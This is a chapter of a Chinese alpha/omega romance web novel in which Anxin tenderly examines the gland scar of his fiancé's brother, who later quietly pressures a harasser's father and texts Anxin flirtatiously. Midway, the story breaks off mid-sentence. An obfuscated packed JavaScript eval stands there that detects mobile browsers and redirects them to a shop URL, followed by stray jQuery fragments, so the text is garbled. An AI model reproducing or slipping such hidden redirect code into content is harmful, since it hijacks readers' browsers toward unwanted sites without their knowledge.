警局后边的死胡同,安心亦步亦趋的跟在蒋述身后走了过去,直觉告诉他他好像在做一件很大胆又越界的事情,可是……
心哥。
他瞧着alpha宽阔结实的背影。
蒋述走到死胡同的尽头就停下了,身后的脚步声一直跟了上来。
他无声笑了下,感觉自己像是在诱拐一只好奇小猫。
“你可以开始检查了。”蒋述背对着人,说完稍稍低下了点头,目光落在眼前灰白色的墙壁上,阳光把他们俩的影子打着斜落在旁边,安心的一半影子还在地上。
他在抬头瞧自己。
在犹豫着。
他真的会检查自己的腺体吗?这个乖巧安分的omega会亲手触碰他未婚夫哥哥的腺体吗?
蒋述心里有了期待。
瞧着还犹豫着迟迟没有动作的影子。
会碰我吗?
老婆。
安心瞧着眼前的alpha,在黑色的衬衫领子下就是几乎毁了蒋述人生的那道疤痕,无形的重量压在他身上让他迟迟没能动手,会不会让蒋述难堪?会不会让他不舒服?会不会让他再次想起那时的痛苦?
他有些后悔,觉得自己实在是冲动了。
可……
安心踮起脚,alpha没有弯腰弓背配合他的身高,他要是想看清楚就只能踮起脚。
那道狰狞的伤疤又进入他的眼睛。
当蒋述看到安心的影子抬起手时忽然失去了他的游刃有余,alpha的身体变得紧绷起来。
短短的一段距离变得极其漫长。
确认影子碰到自己那一刻蒋述的呼吸不自觉的暂停了,即使是被毁了的腺体也是腺体,他也是个alpha,是一个没有和别人有过这种亲密接触的alpha。
可他并没有感受到实际上的触碰。
原本已经做好的准备变成疑惑,下一秒没有任何征兆的,温热的触感落在了那道稍稍鼓起有着些微增生的疤痕上。
alpha差点打了个颤。
影子的距离不够准确让蒋述判断失误,没能做好准备,差点被这突如其来的触碰打败。
好在这些年alpha早就习惯克制隐忍以及不动声色。
omgea完全没有察觉到蒋述内心的惊涛骇浪,在手指触碰到疤痕的瞬间他的眼眶就红了,碰到的下一秒手指又连忙抬起了些,他红着眼瞧着蒋述,想要知道这样碰他会不会觉得疼?
蒋述感觉到手指的离开,这就结束了吗?
随即嘴角出现一抹哂笑,也是,一块丑得要死的疤而已,安心难不成还要仔细……
眼睫猛地一抖,温热的触感又落回了那道疤痕上,有无形的呼啸的风从蒋述身上穿过,卷起万般情绪。
安心用最轻柔的动作顺着那道疤痕缓缓摸着,这道疤痕的下方就是alpha被毁了的腺体,此时此刻熟悉的疼痛出现在蒋述的身体里,他习惯的默默忍受着。
不吭一声。
眼泪凝结在安心眼里,他的手指顺着疤痕来到了衬衫领子处,他又更加努力地踮了踮脚,手指伸进衣领里,忘了OA有别,忘了眼前的alpha是他未婚夫的哥哥。
在他眼里,心里,这只是他15那年认识的那位“朋友”。
信息素在横冲直撞,蒋述的脸逐渐失去血色,额头出现了细密的汗珠但他仍能一动不动。
这个安心他到底要检查到什么地步……
他会以什么样的表情?心情来看这道疤痕?蒋述忽然想到这个问题,一种难以言说的情绪忽然席卷而来让他想要立即结束这次的检查。
踮太久脚的安心有些站不稳的向前晃了下,他下意识抬起另一只手搭在了蒋述肩膀上让自己稳住,手指停在了疤痕的末端,他也看清了疤痕的全貌。
“很疼吧。”
他轻声开口,声音都有点抖,疤痕明明在蒋述身上可他的腺体却疼了起来,所以蒋述一定会更疼,很疼。
要转过身的蒋述停了下来,他默了瞬:“不疼。”
安心的手又顺着疤痕慢慢摸了回去,撒谎,怎么会不疼,这么长的伤口又伤到了腺体,伤口也一定很深,再深一些说不准命都要没了,怎么会不疼,一定疼死了。
眼泪从红彤彤的眼眶无声流出。
他摸向这道疤痕的周围,那些不规则的鼓起,就好像这旁边的肉曾经被剜开过。
“这些疤痕是怎么回事?”
蒋述听出了安心的哭腔,明明只有安心一个人在小声说话,在这安静的死胡同他的心却是喧嚣的厉害。
语气尽量自然的:“没什么,当时有点感染。”
后来终于有机会去医院治疗时有些肉就不得不处理掉了。
“好了,今天的检查就先到这儿吧。”蒋述就又要转过来,再检查下去omega可能真要哭了,没必要,没必要为一道和他无关的疤掉这么多眼泪。
搭在他肩膀上的手按住他不让他转身。
蒋述:“心心?”
安心的眼泪止不住,一直踮着的脚落了下去,在他整个人都要靠到蒋述背上前:“对不起。”
按在蒋述肩膀上的手离开,蒋述转过身看到的就是跑开的安心,他下意识伸手去抓,手背忽然被什么砸了一下。
他看过去,手背上被阳光照的晶莹剔透的是一滴眼泪。
手忽然向下一沉又稳住。
蒋述抬眼向胡同口看去,安心已经跑远了,他没有追又看回手背上的眼泪。
真的哭了。
为他哭了……
他慢慢把手收回来,泪珠在手背上滚动着,这是为他而流的眼泪,这是属于他的眼泪,这是他老婆的眼泪。
在这滴泪珠彻底消失在手背上前,蒋述把这滴眼泪吃掉了,他抿着唇品尝着这滴眼泪的味道望着安心跑走的方向。
他老婆的眼泪是——涩的。
含着很淡很淡几乎要尝不出来的苹果味,是酸涩的青苹果。
他放下手从胡同里走了出来,转眼看了一圈安心已经彻底不见踪影,他上了车在车里坐了好一会儿后——
高胜。
这个alpha他有点印象,是雨晴纸业的那个高家,他给助理打去电话:“查一下雨晴纸业老板一家。”
蒋述向后靠去,那滴眼泪早就在嘴巴里消失了,可整个口腔还是觉得涩。
他执着安心,认定安心是自己老婆只有一个原因,因为他是家里给蒋骁选的联姻对象。
仅此而已。
雨晴纸业……他扶了下眼镜想起个关键信息,拿出手机给家里开连锁酒店的朋友打去了电话:“旭东,你们家的酒店是不是和那个雨晴纸业有合作?”
“是啊,怎么了?”
“有件事想请你帮个忙。”
“嗐,你和我还这么客气,什么事你说。”
不远处另一辆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936339|213726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车里安心趴在方向盘上哭的不能自已,有时候他会想如果他们没有约定去看画展,就算那天蒋骁还是要蒋述陪着他出门,或许蒋述就不会赶时间……
而他们之所以会约定去看画展,是因为蒋述听他说过他喜欢兜兜转老师。
蒋述挂断电话,看着助理发来的资料,高家是不会任由着自己家的孩子就这么被关起来的,虽然只是个没有被寄予厚望的老二,得知这件事情后肯定会去安家争取私下解决。
考虑到安心没有受到什么实质性伤害,以他对安父的了解……
他按下号码拨号,响了好半天对方才接通,在对方喂了一声后他很自觉的自报家门。
“高先生好,我是亚空集团的总经理蒋述,不知道你是否知晓你家二公子高胜因为性骚扰omega被关起来的事情?”
“这和蒋总有什么关系?”
蒋述轻笑了声:“看来高先生对具体情况还不太了解,你的儿子骚扰的是我弟弟的未婚夫。”
笑容收敛,视线落在搭在方向盘的手上,总感觉那滴眼泪还在他的手背上:“我这个人比较护短,对于这件事实在无法忍受,我希望高先生不要插手让高胜接受应有的惩罚。”
已经准备动身前往安家的高父重新坐了回去:“年轻人不懂事,蒋总给个机会,我高明远感激不尽。”
“高先生,我刚刚和钱旭东打了通电话。”搭在方向盘上的手指抬起又落下,仿佛一锤定音,“哦,忘了和高总说,我们是很好的朋友。”
对面的高明远没了动静。
蒋述:“高先生,年轻人不懂事吃点教训将来才省得你担心不是。”
他语重心长的:“惯子如杀子啊。”
就听对面吸了一口气又缓缓吐了出去:“蒋总说的是,既然是我这个儿子犯了错那他就该受到惩罚。”
“高先生这么明事理对旭东来说一定是很好的合作对象,那我就先不打扰了,有机会我再登门拜访。”
“呵呵,我等着欢迎蒋总。”
蒋述放下手机,事情顺利解决,又给秘书发去消息让对方这两天给他空出一个晚上出来,他得请旭东吃顿饭。
驱车离开警局,如果家里给蒋骁挑选的是别的联姻对象,他也会去抢来做老婆的。
只是正好这个人是安心而已。
仅此而已。
脖颈的伤疤下仿佛憋着一团火,隐隐发烫,信息素依旧没有老实,让alpha的身体处于些微的疼痛中。
安心抹掉眼泪从方向盘上抬起头,拿起手机。
蒋述:【别哭了。】
蒋述:【再哭我就要去枕椅子了。】
安心破涕为笑又担心他真的去,飞快打字:【不许去。】
蒋述:【那还哭吗?】
安心吸着鼻子又抹了把眼泪:【不哭了。】
蒋述:【真乖。】
安心盯着这两个字脸色忽变,这个对话不对劲!
简直就像是在……
调情!
【谢谢大哥的关心,还有那晚帮蒋骁说的话,我也很喜欢蒋骁!也很期待和他结婚!】
蒋述眯眼盯着这条莫名其妙的消息,哼了一声。
在说给谁听呢?
小心心。
你的心慌了吗?
蒋述把手机往副驾驶丢去,手机意外砸到车门砸出一声响,屏幕出现裂纹,还好他并不喜欢安心不然可真要伤心了。